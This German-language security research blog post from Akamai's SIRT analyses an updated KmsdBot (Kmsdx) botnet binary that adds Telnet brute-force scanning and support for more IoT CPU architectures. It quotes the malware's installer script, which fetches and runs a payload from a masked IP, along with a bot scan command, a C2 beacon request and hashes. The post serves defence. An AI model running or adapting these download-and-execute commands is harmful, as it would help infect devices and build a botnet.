Sie sind an Cloud Computing interessiert? Legen Sie jetzt los

Aktualisiertes Kmsdx-Binärprogramm macht deutlich, dass KmsdBot die IoT-Umgebung ins Visier nimmt

Larry Cashdollar

Verfasser

Larry Cashdollar

August 15, 2023

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.

Die laufenden Aktivitäten der KmsdBot-Malware-Kampagne zeigen, dass IoT-Geräte im Internet weiter vorherrschen und nach wie vor anfällig sind, was sie zu attraktiven Zielen für den Aufbau eines Netzwerks infizierter Systeme macht.

Redaktion und weitere Beiträge von Tricia Howard

Zusammenfassung

  • Das Security Intelligence Response Team (SIRT) von Akamai beobachtet nach wie vor die KmsdBot-Malware-Kampagne und hat dabei ein aktualisiertes Kmsdx-Binärprogramm für IoT-Geräte (Internet of Things – Internet der Dinge) entdeckt.

  • Das Binärprogramm unterstützt jetzt Telnet-Scans und weitere CPU-Architekturen, wodurch sich Angriffsmöglichkeiten und Angriffsfläche erweitert haben.

  • Diese aktualisierten Funktionen wurden Mitte Juli 2023 erstmals beobachtet.

  • Die Malware ist auf private Gaming-Server, Cloud-Hosting-Anbieter sowie bestimmte staatliche und Bildungseinrichtungen ausgerichtet.

  • Präsenz und Aktivitäten der Malware zeigen, dass anfällige IoT-Geräte weiterhin eine erhebliche Bedrohung im Internet darstellen, was die Notwendigkeit von regelmäßigen Sicherheitsmaßnahmen und Updates verstärkt.

Ahnen Sie, was wieder da ist?

Das SIRT von Akamai beobachtet die Kmsdx-Botnet-Kampagne seit November 2022 und konnte dabei eine neue Entwicklung verzeichnen. Wir haben ein aktualisiertes Ksmdx-Binärprogramm entdeckt, das vermehrt auf das IoT ausgerichtet ist und im Vergleich zu früheren Versionen einen stark erweiterten Funktionsumfang aufweist.

Die Hinwendung zu IoT ist auch ein Indiz für das Verhalten von Bedrohungsakteuren und das Bedrohungsumfeld insgesamt. Obwohl das IoT seit mehreren Jahren existiert und bereits mehrere große IoT-basierte DDoS-Angriffe (Distributed Denial of Service) zu verzeichnen waren, zeigt diese neue Entwicklung, wie bedeutsam das Bedrohungsumfeld im Zusammenhang mit dem Internet der Dinge nach wie vor ist.

In diesem Beitrag werden wir die Aktualisierungen des Binärprogramms durchgehen und dessen Targeting-Techniken auswerten. Außerdem werden wir die Folgen dieser Entwicklung erörtern.

KmsdBot zielt auf IoT ab

KmsdBot hat einen weiten Weg zurückgelegt: von der ursprünglichen Entdeckung durch den Urheber , als dieser das Programm versehentlich zum Absturz brachte,bis zur Simulation der CnC-Funktionen (Command and Control) durch das Akamai-SIRT. Wir haben diese sich ständig weiterentwickelnde Malware fortwährend untersucht und nun diese vierte Version entdeckt: ein aktualisiertes Kmsdx-Binärprogramm.

Dieses Binärprogramm scannt zufällige IP-Adressen auf offene SSH-Ports und versucht, sich mittels einer vom CnC-Server heruntergeladenen Passwortliste beim System anzumelden.

Das Binärprogramm wurde aktualisiert und umfasst nun auch Funktionen zur Unterstützung von Telnet-Scans und zur Verifizierung legitimer Telnet-Services. Die Liste der KmsdBot-Binärprogramme wurde erweitert, um weitere CPU-Architekturen abzudecken, die üblicherweise in IoT-Geräten vorkommen. Dies wurde in unserem ersten Blogbeitrag über diese Malware als Möglichkeit für eine zukünftige Entwicklung dargelegt, da die Verzeichnisstruktur des FTP-Servers darauf hindeutete, dass die CPU-Architektur verstärkt unterstützt werden würde.

Das Beispiel scheint auf gültige Telnet-Services zu prüfen, indem es ermittelt, ob der Empfang über die ursprüngliche Verbindung an Port 23 möglich ist. Es scheint zu prüfen, ob Port 23 durch einen gültigen Telnet-Service überwacht wird, und sendet eine Aufforderung, anstatt lediglich die Verbindung zu trennen.

Im generierten Pseudocode in Abbildung 1 wird main_isitfake innerhalb der Telnet-Hauptscanfunktion aufgerufen.

Im generierten Pseudocode in Abbildung 1 wird main_isitfake innerhalb der Telnet-Hauptscanfunktion aufgerufen. Abb. 1: Im generierten Pseudocode ruft main_telnet() main_isitfake() auf

Wenn die Prüfung fehlschlägt, endet sie dort. Wenn sie jedoch erfolgreich ist (False wird zurückgegeben), wird anschließend die Infektions-Payload ausgeführt.

Dieser scheinbar einfache IP-Scan geht in Wirklichkeit etwas stärker in die Tiefe (Abbildung 2). Die Legitimitätsprüfung ist einer der Faktoren, die auf IoT-Geräte als Ziel hingewiesen haben. Einige IoT-Geräte verfügen über Telnet-Überwachungsfunktionen und eine Zugriffskontrollliste, die die Verbindung abbricht, wenn die IP-Adresse nicht aus einem RFC 1918-Adressraum stammt

Für diejenigen, die nicht mit dem RFC 1918 vertraut sind: Er trägt den Titel „Address Allocation for Private Internets“ und beschreibt IP-Adressbereiche, die für interne Netzwerke verwendet werden. Für Heimnetzwerke werden beispielsweise häufig die IP-Bereiche 192.168.1.0/24 und 192.168.0.0/24 verwendet.

Der scheinbar einfache IP-Scan geht in Wirklichkeit etwas stärker in die Tiefe (Abbildung 2). Abb. 2: Weiterer Code wurde hinzugefügt, um Telnet-Scans durchzuführen

Genau wie der SSH-Scanner ruft der Telnet-Scanner eine Funktion auf, die eine zufällige IP-Adresse generiert. Anschließend wird versucht, auf dieser IP-Adresse eine Verbindung zu Port 23 herzustellen. Der Telnet-Scanner prüft jedoch nicht nur, ob Port 23 den Aufruf empfängt bzw. nicht empfängt. Er überprüft auch, ob der Empfangspuffer Daten enthält. Wir konnten dieses Pseudocode-Snippet aus der dekompilierten Binärdatei generieren (Abbildung 3). Es zeigt, wie geprüft wird, ob der Puffer Daten enthält (nicht Null).

Wir konnten dieses Pseudocode-Snippet aus der dekompilierten Binärdatei generieren (Abbildung 3). Es zeigt, wie geprüft wird, ob der Puffer Daten enthält (nicht Null). Abb. 3 Pseudo-Code mit Flusskontrolle der Pufferprüfung

Hauptpaket: /root/scan

Datei: main.go

Hauptzeilen: 11 bis 48 (37)

Scannerzeilen: 48 bis 68 (20)

Datei: pma.go

checkpma – Zeilen: 13 bis 79 (66)

checkpmafunc1 – Zeilen: 68 bis 72 (4)

check – Zeilen: 79 bis 114 (35)

Datei: ssh.go

sshcheck – Zeilen: 15 bis 205 (190)

scan – Zeilen: 205 bis 227 (22)

scanfunc1 – Zeilen: 218 bis 226 (8)

Datei: telnet.go

scantelnet – Zeilen: 11 bis 41 (30)

scantelnetfunc1 – Zeilen: 26 bis 34 (8)

telnet – Zeilen: 41 bis 85 (44)

isitfake – Zeilen: 85 bis 120 (35)

Datei: utils.go

randomIP – Zeilen: 31 bis 49 (18)

portopen – Zeilen: 49 bis 82 (33)

newpassword – Zeilen: 82 bis 92 (10)

sendreq – Zeilen: 92 bis 104 (12)

optimaltimeout – Zeilen: 104 bis 119 (15)

nolimits – Zeilen: 119 bis 127 (8)

osname – Zeilen: 127 bis 184 (57)

getlistofdata – Zeilen: 184 bis 217 (33)

choosedifficultyport – Zeilen: 217 bis 245 (28)

workername – Zeilen: 245 bis 271 (26)

randomwallet – Zeilen: 271 bis 274 (3)

Abb. 4: Redress-Ausgabe mit Code, der zur Unterstützung des Scannens nach Telnet-Service hinzugefügt wurde

Die Auswirkungen des Updates

Einige der Updates für KmsdBot waren weniger zielführend. Doch dieses Mal scheint das Update erfolgreich zu sein. Neben der zusätzlichen Funktion zur Überprüfung des Scans werden jetzt viele weitere Architekturen unterstützt. Die Zeiten, in denen nur Winx86, Arm64 und mips64, x86_64 betroffen waren, sind vorbei. Wie aus dem Installationsskript ftp1.sh (Abbildung 5) ersichtlich wird, sind jetzt viele weitere Architekturen verfügbar.

  #/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog

Abb. 5: kmsd-Installationsskript mit unterstützten Architekturen

Obwohl kmsd seit mindestens November 2022 existiert, sind die Scans auf Telnet-Rechtmäßigkeit recht neu. Laut unseren Bot-Tracking-Protokollen wurden am 16. Juli 2023 erstmals Scans nach Telnet-Service verzeichnet.

Geeignete Opfer

telnet.txt (Abbildung 6) ist der Name der herunterzuladenden Datei mit der Liste der Anmeldedaten für verschiedene Anwendungen. Bei der Prüfung unserer Protokolle fanden wir Dateinamen wie app, euro, euro2, euro3, euro4, lilstat, stats und users. Die Dateien enthalten unterschiedliche Anmeldedaten für die verschiedenen Anwendungen. Beispielsweise enthält „app“ mögliche Anmeldedaten für Anwendungen wie Hadoop, Oracle, Elasticsearch usw., während die „euro“-Dateien Anmeldedaten für TeamSpeak, CentOS, Ubuntu und andere Anmeldekombinationen enthalten.

!scan c2_ipadddress telnet telnet.txt kthread watchdog

Abb. 6: Bot-Befehl zum Herunterladen von Anmeldedaten und zum Starten des Scans

Wie Sie in Abbildung 7 sehen können, enthält die Textdatei eine Reihe häufig verwendeter schwacher Passwörter und verschiedene Varianten davon, z. B. dasselbe Wort in unterschiedlicher Groß- und Kleinschreibung. Die aufgeführten Anmeldedaten scheinen nicht sehr effektiv zu sein: Sie sind äußerst einfach gehalten, nicht besonders sicher und sollten eigentlich nicht von menschlichen Nutzern verwendet werden.

Unter dem IoT-Aspekt ergeben diese Anmeldedaten jedoch Sinn. Bei vielen IoT-Geräten bleiben die Standardanmeldedaten unverändert. Technisch weniger versierte Nutzer wissen oft nicht einmal, dass sich die Anmeldedaten ändern lassen.

Wie Sie in Abbildung 6 sehen können, enthält die Textdatei eine Reihe häufig verwendeter schwacher Passwörter und verschiedene Varianten davon, z. B. dasselbe Wort in unterschiedlicher Groß- und Kleinschreibung. Abb. 7: Eine Teilliste der heruntergeladenen Anmeldedaten wird in telnet.txt gespeichert

Unabhängig vom obigen Bot-Befehl sorgt die Befehlszeile ./ksmdx telnet telnet.txt kthread watchdog dafür, dass das ksmdx-Binärprogramm eine Liste der Telnet-Anmeldedaten herunterlädt und damit beginnt, zufällige IP-Adressen nach dem Telnet-Service zu scannen. Der Scanner sendet dann eine POST-Anfrage an den Port 45833 mit dem Text „Bruh Started:” (Abbildung 8), die dem CnC-Server meldet, dass der Scanvorgang begonnen hat. 

  POST / HTTP/1.1
  Host: xxx.xxx.xxx.xxx:45833
  User-Agent: Go-http-client/1.1
  Content-Length: 14
  Content-Type: text/plain
  Accept-Encoding: gzip

  Bruh Started:

Abb. 8: POST-Anfrage, mit der der Angreifer benachrichtigt wird, dass der Telnet-Scan gestartet wurde

Inkonsistentes Targeting

Das Botnet peilt nach wie vor hauptsächlich private Gaming-Server und Cloud-Hosting-Anbieter an. Allerdings sind von kmsd jedes Mal auch einige Ziele betroffen, die nicht zur Zielgruppe zu gehören scheinen. Dieses Mal waren einige rumänische Regierungsstandorte sowie einige spanische Universitäten betroffen.

Das inkonsistente Targeting ist mit dem Verhalten der Angreifer, die hinter kmsd stecken, konsistent. Es handelt sich wahrscheinlich um einen Botnet-for-hire-Service. Diese Angriffe peilen die Ports 80 und 443 mit HTTP POST-Anfragen an, wobei „Bigdata“-Angriffe nach wie vor die bevorzugte Angriffsmethode sind.

Indicators of Compromise

66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh

718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386

1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64

50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm

812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64

542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips

184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64

b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le

b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle

b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64

c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le

c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x

d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx

cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php

803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh

733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe

Fazit

Die laufenden Aktivitäten der KmsdBot-Malware-Kampagne zeigen, dass IoT-Geräte im Internet weiter vorherrschen und nach wie vor anfällig sind, was sie zu attraktiven Zielen für den Aufbau eines Netzwerks infizierter Systeme macht.

Aus technischer Sicht deutet die Erweiterung um Telnet-Scanfunktionen auf eine Vergrößerung der Angriffsfläche des Botnets hin, sodass es auf eine umfangreichere Bandbreite von Geräten ausgerichtet werden kann. Darüber hinaus stellt die Malware, die ständig weiterentwickelt wird und immer mehr CPU-Architekturen unterstützt, eine ständige Bedrohung für die Sicherheit von internetfähigen Geräten dar. Diese Erweiterung spricht auch für den Erfolg des Botnets: Wenn es nicht effektiv wäre, würden die Bedrohungsakteure weniger Zeit mit Aktualisierungen verbringen (auch wenn sie es versehentlich mit einem der Updates zum Absturz gebracht haben).

Aus persönlicher Sicht betont diese Entdeckung die Notwendigkeit zuverlässiger Sicherheitsmaßnahmen und regelmäßiger Updates zum Schutz vor solchen Angriffen. Außerdem ist eine verstärkte Wissensvermittlung über das Internet der Dinge und die Bedrohungen, die sie für durchschnittliche Nutzer oder Haushalte darstellen, erforderlich. Wie schon oft beobachtet, kann ein willkürlich ausgewählter Kühlschrank leicht an einem DDoS-Angriff beteiligt sein, ohne dass der Eigentümer weiß, dass ein Angriff stattfindet.

Wir halten Sie auf dem Laufenden

Eines der Ziele des SIRT von Akamai besteht darin, Botnets wie KmsdBot zu analysieren und zu dokumentieren und die Öffentlichkeit über unsere Beobachtungen zu informieren. Wenn Sie in Echtzeit über die neuesten Sicherheitsstudien auf dem Laufenden gehalten werden möchten, folgen Sie uns auf Twitter.



Larry Cashdollar

Verfasser

Larry Cashdollar

August 15, 2023

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.